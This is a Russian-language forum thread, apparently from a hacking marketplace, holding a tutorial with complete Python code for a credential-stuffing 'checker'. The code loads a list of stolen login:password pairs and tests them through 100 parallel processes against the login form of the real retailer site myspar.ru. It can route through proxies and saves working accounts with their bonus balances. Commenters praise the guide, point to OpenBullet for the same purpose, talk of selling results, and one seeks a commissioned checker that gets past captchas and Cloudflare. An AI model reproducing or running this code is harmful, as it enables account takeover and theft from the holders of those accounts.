Загрузка...
Как написать свой чекер, полный гайд
  1. AIexa
    AIexa Автор темы 31 май 2020 Лучший софт - lolz.live/threads/1634798/ :+rep: 12 357 24 мар 2020
    В этой статье рассказывается и показывается как написать свой чекер, что для этого нужно и откуда это достать

    Для
    начала работы нам понадобится


    1)Python последней версии (необязательно, но лучше всегда качать свежую версию), прямая ссылка на скачивание последней версии
    https://www.python.org/ftp/python/3.8.3/python-3.8.3.exe
    2)Если вы захотите на примере это статьи писать свой чекер на другой сайт, нужный вам, тогда вам понадобится среда разработки,
    для питона, лучшей и самой (как по мне) средой является Pycharm скачать вы его можете с официального сайта JetBrains
    https://www.jetbrains.com/ru-ru/pycharm/download/download-thanks.html?platform=windows&code=PCC

    Я буду показывать как написать чекер на примере сайта спара, на нем нету капчи и он не банит за спам


    Первым делом нам нужен валидный аккаунт на сайте спара
    идем на сайт вводим логин пароль и теперь самое интересное. Отрываем консоль с помощью кнопки f12,
    переходим на вкладку networks, и теперь жмем Войти, теперь в куче запросов ищем что то похожее на login/ auth/ и что то,
    что похоже на запрос к скрипту авторизации, внизу мы должны увидеть наш пост запрос такого вида
    [IMG]
    AUTH_FORM: Y
    TYPE: AUTH
    backurl: /local/ajax/user/auth/
    USER_LOGIN: 899999999
    username: 899999999
    USER_PASSWORD: password123
    USER_REMEMBER: Y
    Login: Y


    жмем на кнопку view source и копируем строчку
    AUTH_FORM=Y&TYPE=AUTH&backurl=%2Flocal%2Fajax%2Fuser%2Fauth%2F&USER_LOGIN=899999999&username=899999999&USER_PASSWORD=password123&USER_REMEMBER=Y&Login=Y

    Пока что не выходим, теперь смотрим на страницу нашего профиля, мы тут видим имя и количество бонусов на карте
    [IMG]

    открываем в консоли html и копируем строчку с бонусами
    [IMG]
    <span class="header-control__text-desc">8 бонусов</span>

    Теперь мы можем идти в Pycharm и начинать писать код
    Запускаем среду и жмем Create new project

    [IMG]

    После прогрузки и создания проекта переходим в File -> Setting -> Project Iterpreter

    [IMG]

    Жмем плюсик с правой стороны окна и ****аем в поиск requests, там на автомате у вас выберется нужная библиотека, жмете install package

    [IMG]

    Теперь жмем на папку слева правой кнопкой мыши new -> python file -> выбираете имя вашего файла и создаете его

    [IMG]

    Первое что нам нужно сделать импортировать нужные библиотеки для работы

    Python
    import requests
    from multiprocessing import Process, Queue, Value
    Первая билиотека нам нужна для создания запросов к сайту и приему от него ответов
    Вторая библиотека нужна для потоков

    Начинаем писать скрипт

    Python
    if __name__ == "__main__":
    count = 100 #Количество потоков
    queue = Queue() #очередь откуда будут браться данные для наших потоков

    Так как у вас скорее всего будет база аккаунтов то я покажу как доставать аккаунты из этой базы

    with open("baza.txt", "r", encoding="utf-8") as fileToCHeck:
    for line in fileToCHeck.readlines():
    queue.put(line)
    print(line+"\r")
    fileToCHeck.close()

    Теперь в нашу очередь загружены наши строки
    Запускаем наши потоки

    Python
     for i in range(0, count):
    proc = Process(target=checkValid, args=(queue,))
    proc.start()
    queue.close() #Закрываем очередь
    Теперь напишем функцию чека для наших потоков

    Python
    def checkValid(queue):
    while(queue.empty() == False):
    try:
    line = queue.get()[:-1]
    logPass = []
    if ':' in line:
    logPass = line.split(':')
    if ';' in line:
    logPass = line.split(';')

    user_login = logPass[0]
    user_pass = logPass[1]
    data = {'AUTH_FORM': 'Y', 'TYPE': 'AUTH', 'backurl': '/personal/', "USER_LOGIN": user_login, #Вот и наш post запрос
    'username': user_login,
    'USER_PASSWORD': user_pass, 'USER_REMEMBER': 'Y', 'Login': 'Y'}
    s = requests.Session()
    s.get("https://myspar.ru/personal/")
    resp = s.post("https://myspar.ru/personal/?login=yes", data=data)
    try:
    bonuses = re.search('<span class="header-control__text-desc">.*</span>', resp.text)
    bonuses = re.search(">.*<", bonuses.group(0))
    bonuses = bonuses.group(0)
    file = open("checked.txt", "a")
    file.write("Phone: " + str(user_login) + "\nPassword: " + str(user_pass) + "\nBonuses: " + str(
    bonuses[1:-1] + "\n\n\n"))
    file.close()
    s.close()
    except:
    continue
    except:
    continue
    Что мы здесь делаем.
    1) Передаем в фунцию нашу очередь со строками
    2)Разбиваем строку и вырезаем символ переноса строки "\n"
    Python
            line = queue.get()[:-1]
    logPass = []
    if ':' in line:
    logPass = line.split(':')
    if ';' in line:
    logPass = line.split(';')
    3) Формируем post запрос на основе запроса из начала и вставляем туда наши варьирующиеся значения, в данном случае это номер телефона и пароль
    4)Создаем сессию, которая на автомате будет принимать, сохранять и передавать между страницами куки,
    Переходим сначала на главную страницу спара, чтобы получить первоначальные куки, чтобы показать что мы обычный пользователь, иначе 90% сайтов
    не дадут залогинится
    5)Теперь делаем post запрос к скрипту логина и передаем туда наши данные
    6)Сервер выдал нам html страницу, парсим ее на предмет строки с бонусами, если они нашлись, то значит аккаунт валид и мы записываем инфу с него
    в текстовик
    7)Закрываем файл, закрываем соединение и начинаем цикл сначала с новой строкой

    Как только очередь опустеет потоки поочередно закончат свою работу

    Если вы хотите использовать ****** в своем чекере, тогда возьмите пачку проксей, прочитайте их точно также из текстовика как и строки с лог:пассом
    и передавайте их потокам
    Python
        myProxies = {"https://223.241.2.199:4216"}
    s.get("https://myspar.ru/personal/", proxies=myProxies)
    resp = s.post("https://myspar.ru/personal/?login=yes", data=data,proxies=myProxies)

    На выходе, если у вас были валидные аккаунты то в текстовом файле вы увидите это:

    Phone: 8999999999
    Password: password123
    Bonuses: 233 бонуса

    Для ленивых
    Python
    import requests
    from multiprocessing import Process, Queue, Value
    import re
    import sys




    def checkValid(queue):
    while(queue.empty() == False):
    try:
    line = queue.get()[:-1]
    if ':' in line:
    c = line.split(':')
    if ';' in line:
    c = line.split(';')

    user_login = c[0]
    user_pass = c[1]
    data = {'AUTH_FORM': 'Y', 'TYPE': 'AUTH', 'backurl': '/personal/', "USER_LOGIN": user_login,
    'username': user_login,
    'USER_PASSWORD': user_pass, 'USER_REMEMBER': 'Y', 'Login': 'Y'}
    s = requests.Session()
    s.get("https://myspar.ru/personal/")
    resp = s.post("https://myspar.ru/personal/?login=yes", data=data)
    try:
    bonuses = re.search('<span class="header-control__text-desc">.*</span>', resp.text)
    bonuses = re.search(">.*<", bonuses.group(0))
    bonuses = bonuses.group(0)
    file = open("checked.txt", "a")
    file.write("Phone: " + str(user_login) + "\nPassword: " + str(user_pass) + "\nBonuses: " + str(
    bonuses[1:-1] + "\n\n\n"))
    file.close()
    s.close()
    except:
    s.close()
    continue
    except:
    continue

    def createProc(queue, count):
    for i in range(0, count):
    proc = Process(target=checkValid, args=(queue,))
    proc.start()
    queue.close()

    if __name__ == "__main__":
    count = 100
    queue = Queue()
    with open("baza.txt", "r", encoding="utf-8") as fileToCHeck:
    for line in fileToCHeck.readlines():
    queue.put(line)
    print(line+"\r")
    fileToCHeck.close()
    createProc(queue, count)
    print("Запускается", count," потоков")

    #МояСтатья
     
    Этот материал оказался полезным?
    Вы можете отблагодарить автора темы путем перевода средств на баланс
    Отблагодарить автора
    31 май 2020 Изменено
    1. UMBRELLA_CORP
      AIexa, Ништяк - красавчик :sigma:

Комментарии

    1. billiedark
      billiedark 31 май 2020 разработка на заказ: lolz.live/threads/8957669/ 2296 7 дек 2018
      В целом статья годная, но видел на других ресурсах, мог бы над оформлением темы поработать хотябы :)
       
      1. AIexa Автор темы
        billiedark, я старался)))))))))) дезигнером мне не быть))
        Тема полностью моя и в ней нету ни слова копипаста или рерайта
      2. AIexa Автор темы
        billiedark, итак 3 часа потратил
      3. Kastiell1812
        billiedark, он и так всё хорошо обьяснил
    2. SERG39
      SERG39 31 май 2020 Вот бы спонсора для розыгрыша :/ 160 22 мар 2018
      Лень читать, но так годно. Авторку этому молодому человеку:2011_like:
      --- Сообщение объединено с предыдущим 31 май 2020
      Напиши еще как использовать антикапчу, для стима например
       
      1. Посмотреть предыдущие комментарии (4)
      2. ProtocoI
        SERG39, дождался ответа все таки хахахахахха
      3. SERG39
        SanyFake, спаисибо за оперативный ответ <3
    3. Ignat2003
      Ignat2003 31 май 2020 9 23 апр 2018
      Реально годный гайд, даже появилась мотивация изучить питон, я думал что для написания такого подобного чекера нужно днями напролет писать код, а тут дело часа. Если бы я мог кинуть симпу - я бы кинул. Респект!
       
      1. i7h6si4pah1
        Ignat2003, ну, как бы так и есть, это по гайду ты слёту можешь написать, а если с 0 сядешь, то не поймёшь, откуда подступиться, знаний много не надо, но нужно набираться опыта.
    4. anefe
      anefe 1 июн 2020 Заблокирован(а) 401 28 окт 2017
      1. Спасибо, что различаешь ****/чекеры(наверное)
      2.Зачем if __name__ == "__main__" не такой уровень проекта
      3. Много кода мало объяснений
       
      1. Посмотреть предыдущие комментарии (2)
      2. AIexa Автор темы
        anefe, код максимально упрощен для тех кто не особо в теме
      3. anefe
        Оказывается питон настолько умен, что можно я даже не закрывать файлы для записи. Ошибки возникать не должно:roflanPoker::facepalm:
      4. gotcum
        anefe, он закрыыается после записи , открыт с помощью оператора with
    5. яЕмДеТеЙ
      яЕмДеТеЙ 13 июн 2020 Вызов сатаны скоро загрузится... ************] 99%
      Благодарю, кстати есть конструктор чекера/****ера бесплатный (OpenBullet) , я понимаю ТС показал на примере как с 0 без помощи стороних софтов ( кроме официал питона и среды разработки ), накодить чекер, но вдруг кому интересно, я выше написал, смысл тот же, даже метод, просто в сам софт пихаете шаг за шагом, что ТС показывает, и кодите, и потом или продаете, или юзаете сами. В любом случае, статья шикарная. + в репу улетело
       
    6. DIDUK
      DIDUK 13 дек 2021 266 24 ноя 2020
      [IMG] У меня такая проблема, чтобы получить токен для авторизации, нужно нажать на форму на сайте, и только тогда появляется token, как это реализовать(webdriver не предлагать)
       
      1. Adamantium
        DIDUK, могу помочь, там нужно js чекать
      2. DIDUK
        Adamantium, Да я тогда не знал, что такое captha), теперь знаю, могу сам спокойно обойти
    7. Crakers
      Crakers 18 дек 2021 Живой 371 7 июн 2020
      было бы проще установить модули через cmd, написал бы команды, только вставить оставалось
       
    8. parodiathe
      как сделать что бы он проверял аккаунты с txt, или куда их вообще нужно вставлять?
       
    9. liffe1one
      liffe1one 3 май 2022 107 8 апр 2020
      лучший, автор просто лучший. я начинающий питонист и мне очень интересно было разбирать код, но хотелось бы, чтобы в коде были комментарии, которые объясняют суть какого-либо кусочка кода. а так - статья пушка
       
    10. fgiiindko
      fgiiindko 22 май 2022 Заблокирован(а) 693 4 фев 2022
      Ахуенно, делай еще подобные статьи, кратко и по делу. А то без штудирования всего ютуба и варки в этом дерьме, хуй найдешь нужную инфу
       
    11. Осанка
      Осанка 22 май 2022 702 16 апр 2019
      [IMG]
      [IMG]
      Спрашивается, нафига? =)
       
      1. AIexa Автор темы
        Осанка, 2 года, мне тогда казалось что так прикольнее
      2. Amkaaa
    12. Batard
      Batard 25 май 2022 1 20 май 2022
      Подробно описано, что +. Опробую на днях на базах других сайтов и отпишу… {:
       
    13. coolmikss
      coolmikss 25 май 2022 1 22 ноя 2018
      1. Neizy
        coolmikss, статья 20 года, удали комментарий, не позорься
    14. PRIMred
      PRIMred 26 май 2022 0 22 ноя 2018
      Ну вот все рассказали показали — есть теперь кто сможет ЧЕКЕР на заказ сделать? Живой акк есть. Моб-АРР в сервисе нет, но есть две Captcha и злой Cloudflare. Если есть желание пишите в личку.
       
    15. quosx
      quosx 26 май 2022 6 23 дек 2019
      Библиотека multiprocessing нужна для процессов а не потоков. Для работы с потоками есть threading, хотя даже и это сложно назвать потоками, ибо у питона есть всем известный локер(gil), а muliprocessing это очень прожорливое дело, потому что создаётся ещё один процесс программы по сути, и кушает ваши мощности ещё один интерпретатор питона. Очень неграмотное использование библиотеки. А в остальном все норм.
       
      26 май 2022 Изменено
      1. AIexa Автор темы
        quosx, локер(gil) а в процессах нет, все выше идет в пезду, спасибо за внимание
    16. Shadowraze
      Shadowraze 26 май 2022 682 15 июл 2018
      Хз за че тут авторку дали, хоть треду и 2 года. Называть это "полным гайдом" сложно, нет пояснений к коду, нет пояснений к полям в запросах. Код тоже не очень хорошо написан, мог хотя бы сессию открыть и заголовки выставить, если уж ты аффторскую статью пишешь. P/s сверху чел тоже вещь сказал, очереди и потоки кардинально различаются.
       
      26 май 2022 Изменено
    17. Кунилингвист
      Кунилингвист 27 май 2022 Заблокирован(а)
      Отличный гайд. Все расписано.
      Вопрос.
      Это можно адаптировать абсолютно под любой сайт/центр, получается?
      Не силен в этом (по факту - 0).
      Пойду попробую сделать свой первый недочекер)
       
      1. AIexa Автор темы
        Кунилингвист, тут показаны общие вещи и примерно как надо чего делать, когда делаешь чекер
    18. Камильооо
      а куда данные от аккаунта вписывать?
       
    19. СТОМАТОЛОГИЧКА
      Давно искал как грамотно реализовать многопоточность, очень познавательная статья!:BrainCosmic:
       
Top
Загрузка...